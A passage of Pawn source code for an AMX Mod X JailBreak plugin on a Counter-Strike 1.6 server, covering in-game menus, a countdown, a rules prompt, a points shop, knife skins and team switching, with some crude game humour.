  631. menu_additem(needmenu, "\rExtreme\y Online", "4")
  632. menu_additem(needmenu, "\rExtreme\y Clubs", "5")
  633. menu_additem(needmenu, "Bet Menu", "6")
  634. menu_additem(needmenu, "Shop Menu", "7")
  635. menu_additem(needmenu, "\rMusic Menu", "8")
  636.  
  637. menu_display(id, needmenu)
  638. }
  639.  
  640. public ActionChooseteam(id)
  641. {
  642. if(get_user_flags(id) & ADMIN_CVAR) {
  643. g_ShowMenu = menu_create("\r[\w Extreme Jail \r]\y Days Menu", "ShowMenu")
  644.  
  645. new szNum[3]
  646. for (new i = 0 ; i < sizeof MessageDay ; i++) {
  647. num_to_str(i+1 , szNum , 2)
  648. menu_additem(g_ShowMenu , MessageDay[i], szNum)
  649. }
  650. menu_display(id, g_ShowMenu)
  651. } else {
  652. new needmenu = menu_create("\r[\w Extreme Jail \r]\y Helper Main Menu", "showmenuhelp")
  653. menu_additem(needmenu, "Take A \yPiss", "1")
  654. menu_additem(needmenu, "Take A \yShit", "2")
  655. menu_additem(needmenu, "\rExtreme\y LastRequest", "3")
  656. menu_additem(needmenu, "\rExtreme\y Online", "4")
  657. menu_additem(needmenu, "\rExtreme\y Clubs", "5")
  658. menu_additem(needmenu, "Bet Menu", "6")
  659. menu_additem(needmenu, "Shop Menu", "7")
  660. menu_additem(needmenu, "\rMusic Menu", "8")
  661.  
  662. menu_display(id, needmenu)
  663. }
  664. return PLUGIN_HANDLED
  665. }
  666.  
  667. public showmenuhelp(id, needmenu, item)
  668. {
  669. if(item == MENU_EXIT)
  670. return
  671. new data[6], iName[64]
  672. new access, callback
  673. menu_item_getinfo(needmenu, item, access, data, 6, iName, 63, callback)
  674.  
  675. new key = str_to_num(data)
  676. switch(key)
  677. {
  678. case 1: client_cmd(id, "piss")
  679. case 2: client_cmd(id, "shit")
  680. case 3: client_cmd(id, "say /lr")
  681. case 4: client_cmd(id, "say /admin")
  682. case 5: client_cmd(id, "say /server")
  683. case 6: MainMenuBet(id)
  684. case 7: ActionShopMenu(id)
  685. case 8: {
  686. if(is_user_admin(id)) ShowMusicMenu(id)
  687. else ShowMusicCustomized(id)
  688.  
  689. }
  690. }
  691. }
  692.  
  693. public mainmenuserv(id)
  694. {
  695. new servmenu = menu_create( "\r[ \wExtreme\r ]\y Servers Redirect Menu", "showmenuserv")
  696. new szNum[3]
  697. for (new i = 0 ; i < sizeof MessageServ ; i++) {
  698. num_to_str(i , szNum , 2)
  699. menu_additem(servmenu , MessageServ[i], szNum)
  700. }
  701. menu_setprop(servmenu, MPROP_NUMBER_COLOR, "\y")
  702. menu_setprop(servmenu, MPROP_EXITNAME, "Exit Menu")
  703. menu_display(id, servmenu)
  704. }
  705.  
  706. public showmenuserv(id, servmenu, item)
  707. {
  708. if(item == MENU_EXIT)
  709. return
  710. new szKey[3], iname[33], Dummy
  711. get_user_name(id, iname, 32)
  712. menu_item_getinfo(servmenu , item, Dummy, szKey, 2, "", 0, Dummy)
  713. new key = str_to_num(szKey)
  714.  
  715. ColorChat(0, "^4%s^1 has been redirected to ^4%s", iname, MessageServ[key])
  716. client_cmd(id, "Connect %s", MessageIp[key])
  717. }
  718.  
  719. public cdmenu(id)
  720. {
  721. if(!is_user_alive(id))
  722. ColorChat(id, " You have to be^3 alive^4 to start a^3 countdown")
  723. else if(task_exists(4444))
  724. ColorChat(id, " There is already a^3 countdown^4 on")
  725. else if(cs_get_user_team(id) == CS_TEAM_CT) {
  726.  
  727. new menu = menu_create("\r[\w Exteme \r]\y countdown", "menu_handler")
  728. new szNum[3], Formatex[15]
  729. for (new i = 0 ; i < sizeof MessageCDnum ; i++) {
  730. num_to_str(i+1 , szNum , 2)
  731. formatex(Formatex, 14, "\y%s \wSeconds", MessageCDnum[i])
  732. menu_additem(menu , Formatex, szNum)
  733. }
  734. menu_display(id, menu)
  735. } else
  736. ColorChat(id, "^4Only^3 Counter-terrorists^4 can start a^3 countdown")
  737. }
  738.  
  739. public menu_handler(id, menu, item)
  740. {
  741. if(item == MENU_EXIT)
  742. return
  743. new Data[7], Name[64]
  744. new Access, Callback
  745. menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
  746.  
  747. new Key = str_to_num(Data)
  748. new name[33]
  749. get_user_name(id, name, 32)
  750.  
  751. ColorChat(0, "Guard^4 %s ^1has started Countdown", name)
  752. switch(Key) {
  753. case 1: timer = 5
  754. case 2: timer = 10
  755. case 3: timer = 15
  756. case 4: timer = 20
  757. case 5: timer = 25
  758. case 6: timer = 30
  759. }
  760. ColorChat(0, "when^3 %d^1 is over save your^4 %s", timer, random_num(0,1) ? "ASS" : "RUN")
  761. countdown()
  762. set_task(1.0, "countdown",4444,_,_, "b")
  763. }
  764.  
  765. public countdown()
  766. {
  767. new SecVoice[21]
  768. num_to_word(timer, SecVoice, 20)
  769. if(timer == 0) {
  770. set_hudmessage(255, 0, 0, -1.0, -1.0, 0, 6.0, 3.0)
  771. show_hudmessage(0, "Go go go")
  772. client_cmd(0, "spk ^"barney/letsgo^"")
  773. remove_task(4444)
  774. } else {
  775. if(timer <= 9)
  776. client_cmd(0, "spk ^"Extreme-Jail/%s^"", SecVoice)
  777. else if(random_num(0,1))
  778. client_cmd(0, "spk ^"vox/%s^"", SecVoice)
  779. else
  780. client_cmd(0, "spk ^"fvox/%s^"", SecVoice)
  781. set_hudmessage(0, 255, 0, -1.0, -1.0, 0, 0.5, 0.5)
  782. show_hudmessage(0, "%i", timer)
  783. timer--
  784. }
  785. }
  786.  
  787. public fullupdate(id)
  788. {
  789. if(floodcounter[id] == 4) {
  790. new name[33]
  791. get_user_name(id, name, 32)
  792. server_cmd("kick ^"%s^" ^"Using spam command^"", name)
  793. }
  794. floodcounter[id]++
  795. }
  796.  
  797. public Givec4(id)
  798. {
  799. if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_CT) {
  800. if(!user_has_weapon(id, CSW_C4)) {
  801. fm_give_item(id, "weapon_c4")
  802. ColorChat(id, "You Have a c4^3, if you SPAM this Command you get ban!")
  803. }
  804. }
  805. }
  806.  
  807. public GameDesc() {
  808. forward_return(FMV_STRING, gamename)
  809. return FMRES_SUPERCEDE
  810. }
  811.  
  812. public client_PreThink(plr) {
  813. if(get_cvar_num("bh_enabled")) {
  814. new oldbuttons = get_user_oldbutton(plr)
  815. oldbuttons &= ~IN_JUMP
  816. entity_set_int(plr, EV_INT_oldbuttons, oldbuttons)
  817. }
  818. if(get_bit(g_PlayerBH, plr) && get_user_weapon(plr) == CSW_KNIFE && entity_get_int(plr, EV_INT_button) & 2)
  819. {
  820. new flags = entity_get_int(plr, EV_INT_flags)
  821. if(flags & FL_WATERJUMP || entity_get_int(plr, EV_INT_waterlevel) >= 2 || !(flags & FL_ONGROUND))
  822. return
  823. flags = entity_get_int(plr, EV_INT_flags)
  824. new Float:velocity[3]
  825. entity_get_vector(plr, EV_VEC_velocity, velocity)
  826. velocity[2] += 250.0
  827. entity_set_vector(plr, EV_VEC_velocity, velocity)
  828. entity_set_int(plr, EV_INT_gaitsequence, 6)
  829. } if(footstep[plr])
  830. set_pev(plr, pev_flTimeStepSound, 999)
  831. }
  832.  
  833. public DisplayTaskBug(id)
  834. {
  835. if(playerpoints[id] <= 50) formatex(_status[id], 16, "Ex Beginner")
  836. else if(playerpoints[id] <= 100) formatex(_status[id], 16, "Ex Novice")
  837. else if(playerpoints[id] <= 200) formatex(_status[id], 16, "Ex Distinguished")
  838. else if(playerpoints[id] <= 300) formatex(_status[id], 16, "Ex Competent")
  839. else if(playerpoints[id] <= 400) formatex(_status[id], 16, "Ex Master")
  840. else if(playerpoints[id] <= 500) formatex(_status[id], 16, "Ex Winner")
  841. else if(playerpoints[id] <= 1000)formatex(_status[id], 16, "Ex Killer")
  842. else formatex(_status[id], 16, "Ex Millyoner")
  843. Seconds[id] = 5
  844. DisplayRulesMenu(id)
  845. set_task(1.0,"DisplayRulesMenu",id,"",0,"a",4)
  846.  
  847. set_dhudmessage(id, 160, 0, -1.0, 0.25, 2, 10.0, 5.0, 0.1, 1.5)
  848. show_dhudmessage(id, "Welcome To BeatTheB-Jail # JailBreak Server^nPress 'G' To Drop A Points^n---- Note - New Price on Shop | Your Points Is: %i -----", playerpoints[id])
  849. }
  850.  
  851. public DisplayRulesMenu(id)
  852. {
  853. if(Seconds[id] != 0)
  854. Seconds[id]--
  855.  
  856. new Item[64], StrSeconds[10]
  857. num_to_str(Seconds[id], StrSeconds, 9)
  858. new menu = menu_create("\d[קיירבליי'ג יקוח]", "sub_RulesMenu")
  859.  
  860. new callback = menu_makecallback("MenuCallbackRules")
  861.  
  862. format(Item, 63, "%s[רשאמ %s]", Seconds[id] == 0 ? "\r" : "\d", StrSeconds[0] == '0' ? "" : StrSeconds, StrSeconds[0] == '0' ? "" : " Sec ")
  863. menu_additem(menu, Item, "1", _, callback)
  864. menu_additem(menu, "\r[החוד]^n^n", "2")
  865. menu_additem(menu, "\yםיקוח", "3")
  866. menu_additem(menu, "\yתודוקפ", "4")
  867.  
  868. menu_setprop(menu, MPROP_EXIT, MEXIT_NEVER)
  869. menu_display(id, menu)
  870. }
  871.  
  872. public sub_RulesMenu(id, menu, item)
  873. {
  874. new Data[7], Name[64], Access, Callback
  875. menu_item_getinfo(menu, item, Access, Data,5, Name, 63, Callback)
  876.  
  877. new Key = str_to_num(Data)
  878.  
  879. switch(Key)
  880. {
  881. case 1: menu_destroy(menu)
  882. case 2: set_task(2.0, "KickUser", id)
  883. case 3: {
  884. show_motd(id, rules, "[BeatTheB Jail] Rules")
  885. set_task(5.0,"DisplayRulesMenu",id)
  886. }
  887. case 4: {
  888. show_motd(id, help, "[BeatTheB Jail] Help")
  889. set_task(5.0,"DisplayRulesMenu",id)
  890. }
  891. }
  892. }
  893. public MenuCallbackRules(id)
  894. return Seconds[id] != 0 ? ITEM_DISABLED : ITEM_ENABLED
  895.  
  896. public KickUser(id)
  897. server_cmd("kick #%d ^"!םיקוחה תא רשאל בייח התא^"", get_user_userid(id))
  898.  
  899. public unvip(id) {
  900. if((is_user_admin(id) || get_vip[id]) && cs_get_user_team(id) == CS_TEAM_T && is_user_alive(id))
  901. cs_reset_user_model(id)
  902. else
  903. ColorChat(id, "you are not admin or vip or you are dead")
  904. }
  905.  
  906. public Event_CurWeapon(id)
  907. {
  908. if(!is_user_alive(id) || !is_user_connected(id))
  909. return
  910.  
  911. new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
  912. if(weapon == CSW_KNIFE)
  913. {
  914. if(get_bit(g_PlayerCrowbar, id)) {
  915. entity_set_string(id, EV_SZ_weaponmodel, "models/p_crowbar.mdl")
  916. entity_set_string(id, EV_SZ_viewmodel, "models/v_crowbar.mdl")
  917. }
  918. else if(get_bit(g_PlayerStunGun, id)) {
  919. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_stungun.mdl")
  920. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_stungun.mdl")
  921. }
  922. else if(get_bit(g_PlayerDildo, id)) {
  923. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_dildo.mdl")
  924. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_dildo.mdl")
  925. }
  926. else if(get_bit(g_PlayerBH, id))
  927. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bunnyhop.mdl")
  928. else if(get_bit(g_PlayerGravity, id)) {
  929. fm_set_user_gravity(id, 400.0 / 800.0)
  930. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_gravity.mdl")
  931. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_gravity.mdl")
  932. }
  933. else if(get_bit(g_PlayerSpeed, id)) {
  934. fm_set_user_maxspeed(id, 450.0)
  935. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_speed.mdl")
  936. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_speed.mdl")
  937. }
  938. else {
  939. entity_set_string(id, EV_SZ_weaponmodel, "models/Extreme-Jail/p_bknucklesEx.mdl")
  940. entity_set_string(id, EV_SZ_viewmodel, "models/Extreme-Jail/v_bknucklesEx-v1.mdl")
  941. }
  942. }
  943. else if(get_bit(g_PlayerGravity, id))
  944. fm_set_user_gravity(id, 800.0 / 800.0)
  945. else if(get_bit(g_PlayerSpeed, id))
  946. ResetMaxspeed(id)
  947. }
  948.  
  949. public EmitSound(id, channel, sample[])
  950. {
  951. if(is_user_alive(id) && is_user_connected(id)) {
  952. new temp[2], weapon = get_user_weapon(id, temp[0], temp[1])
  953. if(weapon == CSW_KNIFE)
  954. {
  955. if(equal(sample, "weapons/knife_hit", 17)) {
  956. new pitch
  957. new Float:volume, Float:volume2
  958. volume = random_float(0.5, 1.0)
  959. volume2 = random_float(0.2, 0.3)
  960.  
  961. switch(random_num(1,3))
  962. {
  963. case 1: pitch = PITCH_NORM
  964. case 2: pitch = PITCH_LOW
  965. case 3: pitch = PITCH_HIGH
  966. }
  967.  
  968. if(get_bit(g_PlayerCrowbar, id))
  969. emit_sound(id, CHAN_WEAPON, "weapons/cbar_hit2.wav", volume2, ATTN_NORM, 0, pitch)
  970. else if(get_bit(g_PlayerStunGun, id))
  971. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hit1.wav", volume, ATTN_NORM, 0, pitch)
  972. else if(get_bit(g_PlayerDildo, id)) {
  973. switch(random_num(1,4))
  974. {
  975. case 1: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit1.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  976. case 2: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit2.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  977. case 3: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit3.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  978. case 4: emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hit4.wav", volume2, ATTN_NORM, 0, PITCH_NORM)
  979. }
  980. } else
  981. emit_sound(id, CHAN_WEAPON, "weapons/bullet_hit2.wav", volume, ATTN_NORM, 0, pitch)
  982. return FMRES_SUPERCEDE
  983. } else if(equal(sample,"weapons/knife_stab.wav")) {
  984. if(get_bit(g_PlayerDildo, id))
  985. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/dildo/dildo_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  986. else if(get_bit(g_PlayerStunGun, id))
  987. emit_sound(id, CHAN_WEAPON, "Extreme-Jail/stungun/knife_hitwall.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  988. else
  989. emit_sound(id, CHAN_WEAPON, "weapons/cbar_hitbod2.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  990. return FMRES_SUPERCEDE
  991. }
  992. }
  993. }
  994. return FMRES_IGNORED
  995. }
  996.  
  997. public FwdSetVoice(receiver, sender, bool:listen)
  998. {
  999. if(!(1 <= receiver <= g_max_clients) || !g_connected[receiver] || !(1 <= sender <= g_max_clients) || !g_connected[sender])
  1000. return
  1001. if((get_user_flags(sender) & ADMIN_MENU || get_bit(g_PlayerVoice, sender))
  1002. || (cs_get_user_team(sender) == CS_TEAM_CT && is_user_alive(sender) && !mutect))
  1003. set_speak(sender, 2)
  1004. else set_speak(sender, 1)
  1005. }
  1006.  
  1007. public Firstwrites(id) {
  1008. if(is_user_admin(id)) {
  1009. new name[33]
  1010. get_user_name(id, name, 32)
  1011. set_hudmessage(random_num(0,255), random_num(0,255), random_num(0,255), -1.0, 0.08, 0, 4.5, 0.5)
  1012. show_hudmessage(0, "The First writes will started in 5 seccond^nby %s", name)
  1013. if(task_exists(4444)) remove_task(4444)
  1014. set_task(5.0, "ActionFirstwrites")
  1015. timer = 5
  1016. ShowFiveSeconds(id)
  1017. set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
  1018. } else
  1019. ColorChat(id, "You have no access to that command")
  1020. }
  1021.  
  1022. public ActionFirstwrites() {
  1023. new Item[6], _ran = random_num(1,5)
  1024. switch(random_num(1,4)) {
  1025. case 1: formatex(Item, _ran, "%i%i%i%i%i", random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9), random_num(0,9))
  1026. case 2: formatex(Item, _ran, "%s%s%s%s%s", random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)], random_num(0,1) ? MessageTypeB[random_num(1,26)] : MessageTypeS[random_num(1,26)])
  1027. case 3: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)], MessageTypeB[random_num(1,26)])
  1028. case 4: formatex(Item, _ran, "%s%s%s%s%s", MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)], MessageTypeS[random_num(1,26)])
  1029. }
  1030. set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 10.0, 10.0)
  1031. show_hudmessage(0, "The First writes ^" %s ^" moves to CT Team", Item)
  1032. firststart = true
  1033. write = Item
  1034.  
  1035. if(task_exists(1111)) remove_task(1111)
  1036. set_task(20.0, "falsed_firststart", 1111)
  1037. }
  1038.  
  1039. public PlayerHasFirst(id) {
  1040. if(firststart && cs_get_user_team(id) != CS_TEAM_CT) {
  1041. new name[33]
  1042. get_user_name(id, name, 32)
  1043. cs_set_user_team(id, CS_TEAM_CT)
  1044. ExecuteHamB(Ham_CS_RoundRespawn, id)
  1045. client_cmd(0, "spk ^"%s^"", appmusic)
  1046.  
  1047. set_hudmessage(255, 0, 0, -1.0, 0.69, 2, 6.0, 18.0)
  1048. show_hudmessage(0, "^%s write first and moved to CT", name)
  1049. firststart = false
  1050. }
  1051. }
  1052.  
  1053. public falsed_firststart() firststart = false
  1054.  
  1055. public OpenAllDoors(id)
  1056. {
  1057. if(is_user_admin(id) || get_vip[id] || cs_get_user_team(id) == CS_TEAM_CT) {
  1058. new name[32]
  1059. get_user_name(id, name, 31)
  1060. new ent = -1
  1061. while((ent = fm_find_ent_by_class(ent, "func_door")))
  1062. dllfunc(DLLFunc_Use, ent, 0)
  1063. ColorChat(0, "^4%s ^3has Opened the cells", name)
  1064. } else
  1065. ColorChat(id, "You have no access to that command")
  1066. }
  1067.  
  1068. public AutoOpen()
  1069. {
  1070. new ent = -1;
  1071.  
  1072. while( ( ent = fm_find_ent_by_class( ent, "func_button")))
  1073. {
  1074. dllfunc( DLLFunc_Use, ent, 0 );
  1075. }
  1076. //ActionFree()
  1077. }
  1078. public ActionGetMenu(id)
  1079. {
  1080. if(cs_get_user_team(id) == CS_TEAM_CT) {
  1081. new getmenu = menu_create("\r[\w BeatTheB Jail \r]\y Switch Menu", "ActionGet")
  1082.  
  1083. new players[32], pnum, tempid
  1084. new szName[32], szTempid[10]
  1085.  
  1086. get_players(players, pnum)
  1087.  
  1088. for(new i; i<pnum; i++)
  1089. {
  1090. tempid = players[i]
  1091.  
  1092. if(cs_get_user_team(tempid) != CS_TEAM_T)
  1093. continue
  1094.  
  1095. get_user_name(tempid, szName, 31)
  1096. num_to_str(tempid, szTempid, 9)
  1097. menu_additem(getmenu, szName, szTempid)
  1098. }
  1099. menu_display(id, getmenu)
  1100. } else
  1101. ColorChat(id, "Prisinors can't switch with Guards. Only Guards can switch with prisonors")
  1102. }
  1103.  
  1104. public ActionGet(id, getmenu, item)
  1105. {
  1106. if(item == MENU_EXIT)
  1107. return
  1108. new data[6], iName[64]
  1109. new _access, callback
  1110. menu_item_getinfo(getmenu, item, _access, data,5, iName, 63, callback)
  1111.  
  1112. new tempid = str_to_num(data)
  1113. new szName[32], szName2[32]
  1114. get_user_name(id, szName, 31)
  1115. get_user_name(tempid, szName2, 31)
  1116. ColorChat(0, "^4%s ^3switch CT with ^4%s", szName, szName2)
  1117. cs_set_user_team(tempid, CS_TEAM_CT)
  1118. cs_set_user_team(id, CS_TEAM_T)
  1119. if(is_user_alive(id)) {
  1120. user_kill(id)
  1121. ExecuteHamB(Ham_CS_RoundRespawn, tempid)
  1122. }
  1123. }
  1124.  
  1125. public ActionShopMenu(id)
  1126. {
  1127. if(is_user_connected(id)) {
  1128. if(cs_get_user_team(id) == CS_TEAM_T)
  1129. {
  1130. new szShop[200]
  1131.  
  1132. formatex(szShop, charsmax(szShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yNote\w - The maximum points is 1500. New price!^nYour Points - %d \r%s", playerpoints[id], _status)
  1133. new shopmenu = menu_create(szShop, "sub_ActionShopMenu")
  1134.  
  1135. menu_additem(shopmenu, "\yGrenades Menu", "1")
  1136. menu_additem(shopmenu, "\yHealths Menu", "2")
  1137. menu_additem(shopmenu, "\yWeapons Menu", "3")
  1138. menu_additem(shopmenu, "\yPowers Menu", "4")
  1139. menu_additem(shopmenu, "\yVIP Menu", "5")
  1140. menu_additem(shopmenu, "\yKnifes Power Menu", "6")
  1141. menu_additem(shopmenu, "\yOther Menu", "7")
  1142. menu_additem(shopmenu, "\rPlayers Points", "8")
  1143. menu_additem(shopmenu, "Help^n", "9")
  1144. menu_additem(shopmenu, "\yExit Shop", "10")
  1145.  
  1146. menu_setprop(shopmenu, MPROP_NUMBER_COLOR, "\w")
  1147. menu_setprop(shopmenu, MPROP_PERPAGE, 0)
  1148. menu_display(id, shopmenu)
  1149. } else
  1150. ColorChat(id, "Only ^3Terrorist^4 can open the Shop. your points: ^3%d ^4%s", playerpoints[id], _status)
  1151. }
  1152. return PLUGIN_HANDLED
  1153. }
  1154.  
  1155. public sub_ActionShopMenu(id, shopmenu, item)
  1156. {
  1157. new shopname[33]
  1158. get_user_name(id, shopname, 31)
  1159. new Data[7], Name[64], Access, Callback
  1160. menu_item_getinfo(shopmenu, item, Access, Data,5, Name, 63, Callback)
  1161.  
  1162. new Key = str_to_num(Data)
  1163.  
  1164. switch(Key)
  1165. {
  1166. case 1:
  1167. {
  1168. new szGShop[200]
  1169.  
  1170. formatex(szGShop, charsmax(szGShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yGrenades Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1171. new shopgmenu = menu_create(szGShop, "sub_ActionGrenadesMenu")
  1172.  
  1173. menu_additem(shopgmenu, "\ySmoke Grenade \r[\w 5 \r]", "1")
  1174. menu_additem(shopgmenu, "\yFlash Grenade \r[\w 10 \r]", "2")
  1175. menu_additem(shopgmenu, "\yHe Grenade \r[\w 15 \r]", "3")
  1176. menu_additem(shopgmenu, "\yAll Grenades \r[\w 20 \r]", "4")
  1177.  
  1178. menu_setprop(shopgmenu, MPROP_EXITNAME, "\yExit Shop")
  1179. menu_setprop(shopgmenu, MPROP_NUMBER_COLOR, "\w")
  1180. menu_display(id, shopgmenu)
  1181. }
  1182. case 2:
  1183. {
  1184. new szHShop[200]
  1185.  
  1186. formatex(szHShop, charsmax(szHShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yHealth Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1187. new shophmenu = menu_create(szHShop, "sub_ActionHealthMenu")
  1188.  
  1189. menu_additem(shophmenu, "\y10 Health \r[\w 5 \r]", "1")
  1190. menu_additem(shophmenu, "\y20 Health \r[\w 9 \r]", "2")
  1191. menu_additem(shophmenu, "\y30 Health \r[\w 13 \r]", "3")
  1192. menu_additem(shophmenu, "\y40 Health \r[\w 17 \r]", "4")
  1193. menu_additem(shophmenu, "\y50 Health \r[\w 20 \r]", "5")
  1194.  
  1195. menu_setprop(shophmenu, MPROP_EXITNAME, "\yExit Shop")
  1196. menu_setprop(shophmenu, MPROP_NUMBER_COLOR, "\w")
  1197. menu_display(id, shophmenu)
  1198. }
  1199. case 3:
  1200. {
  1201. new szWShop[200]
  1202.  
  1203. formatex(szWShop, charsmax(szWShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yWeapons Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1204. new shopwmenu = menu_create(szWShop, "sub_ActionWeaponsMenu")
  1205.  
  1206. menu_additem(shopwmenu, "\yGlock\d 3 Bullets \r[\w 15 \r]", "1")
  1207. menu_additem(shopwmenu, "\yUsp\d 3 Bullets \r[\w 20 \r]", "2")
  1208. menu_additem(shopwmenu, "\yDeagle\d 2 Bullets \r[\w 25 \r]", "3")
  1209. menu_additem(shopwmenu, "\yAwp\d 1 Bullets \r[\w 35 \r]", "4")
  1210.  
  1211. menu_setprop(shopwmenu, MPROP_EXITNAME, "\yExit Shop")
  1212. menu_setprop(shopwmenu, MPROP_NUMBER_COLOR, "\w")
  1213. menu_display(id, shopwmenu)
  1214. }
  1215. case 4:
  1216. {
  1217. new szPShop[200]
  1218.  
  1219. formatex(szPShop, charsmax(szPShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPower Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1220. new shoppmenu = menu_create(szPShop, "sub_ActionPowerMenu")
  1221.  
  1222. menu_additem(shoppmenu, "\yCamouflage\d - 30 Seconds \r[\w 20 \r]", "1")
  1223. menu_additem(shoppmenu, "\ySpeed\d - 20 Seconds \r[\w 15 \r]", "2")
  1224. menu_additem(shoppmenu, "\yGravity\d - 20 Seconds \r[\w 15 \r]", "3")
  1225. menu_additem(shoppmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "4")
  1226. menu_additem(shoppmenu, "\yGodmode\d - 10 Seconds \r[\w 40 \r]", "5")
  1227. menu_additem(shoppmenu, "\yNoclip\d - 10 Seconds \r[\w 45 \r]", "6")
  1228.  
  1229. menu_setprop(shoppmenu, MPROP_EXITNAME, "\yExit Shop")
  1230. menu_setprop(shoppmenu, MPROP_NUMBER_COLOR, "\w")
  1231. menu_display(id, shoppmenu)
  1232. }
  1233. case 5:
  1234. {
  1235. new szVShop[200]
  1236.  
  1237. formatex(szVShop, charsmax(szVShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yVIP Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1238. new shopvmenu = menu_create(szVShop, "sub_ActionVIPMenu")
  1239.  
  1240. menu_additem(shopvmenu, "\yDeagle\d - 2 Bullet \r[\w 20 \r]", "1")
  1241. menu_additem(shopvmenu, "\yAwp\d - 1 Bullet \r[\w 25 \r]", "2")
  1242. menu_additem(shopvmenu, "\yGodmode\d - 10 Seconds \r[\w 35 \r]", "3")
  1243. menu_additem(shopvmenu, "\yCamouflage\d - 30 Seconds \r[\w 15 \r]", "4")
  1244. menu_additem(shopvmenu, "\yStealth\d - 5 Seconds \r[\w 15 \r]", "5")
  1245. menu_additem(shopvmenu, "\yVoice\d - 1 Round \r[\w 20 \r]", "6")
  1246.  
  1247. menu_setprop(shopvmenu, MPROP_EXITNAME, "\yExit Shop")
  1248. menu_setprop(shopvmenu, MPROP_NUMBER_COLOR, "\w")
  1249. menu_display(id, shopvmenu)
  1250. }
  1251. case 6:
  1252. {
  1253. new szKShop[200]
  1254.  
  1255. formatex(szKShop, charsmax(szKShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yKnife Power Menu^nYour Points - %d \r%s^n\rOnce Round", playerpoints[id], _status)
  1256. new shopkmenu = menu_create(szKShop, "sub_ActionKnifeMenu")
  1257.  
  1258. menu_additem(shopkmenu, "\yCrowBar\d Damage \r[\w 10 \r]", "1")
  1259. menu_additem(shopkmenu, "\yStun Gun\d Damage \r[\w 10 \r]", "2")
  1260. menu_additem(shopkmenu, "\yDildo\d Damage \r[\w 10 \r]", "3")
  1261. menu_additem(shopkmenu, "\ySuper Bunny Hop \r[\w 10 \r]", "4")
  1262. menu_additem(shopkmenu, "\ySpeed \r[\w 10 \r]", "5")
  1263. menu_additem(shopkmenu, "\yGravity \r[\w 10 \r]", "6")
  1264. //menu_additem(shopkmenu, "\yKey To Open (Attack The Door)\r[\w 35 \r]", "7")
  1265.  
  1266. menu_setprop(shopkmenu, MPROP_EXITNAME, "\yExit Shop")
  1267. menu_setprop(shopkmenu, MPROP_NUMBER_COLOR, "\w")
  1268. menu_display(id, shopkmenu)
  1269. }
  1270. case 7:
  1271. {
  1272. new szOShop[200]
  1273.  
  1274. formatex(szOShop, charsmax(szOShop), "\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yOther Menu^nYour Points - %d \r%s", playerpoints[id], _status)
  1275. new shopomenu = menu_create(szOShop, "sub_ActionOtherMenu")
  1276.  
  1277. menu_additem(shopomenu, "\yChange Team \r[\w 70 \r]", "1")
  1278. menu_additem(shopomenu, "\yVIP Model\d Once Round \r[\w 5 \r]", "2")
  1279. menu_additem(shopomenu, "\yAdmin Model\d Once Round \r[\w 10 \r]", "3")
  1280. menu_additem(shopomenu, "\yFreeday\d Once Round \r[\w 30 \r]", "4")
  1281.  
  1282. menu_setprop(shopomenu, MPROP_EXITNAME, "\yExit Shop")
  1283. menu_setprop(shopomenu, MPROP_NUMBER_COLOR, "\w")
  1284. menu_display(id, shopomenu)
  1285. }
  1286. case 8: PlayerPointsMenu(id)
  1287. case 9:
  1288. {
  1289. new motd[3500]
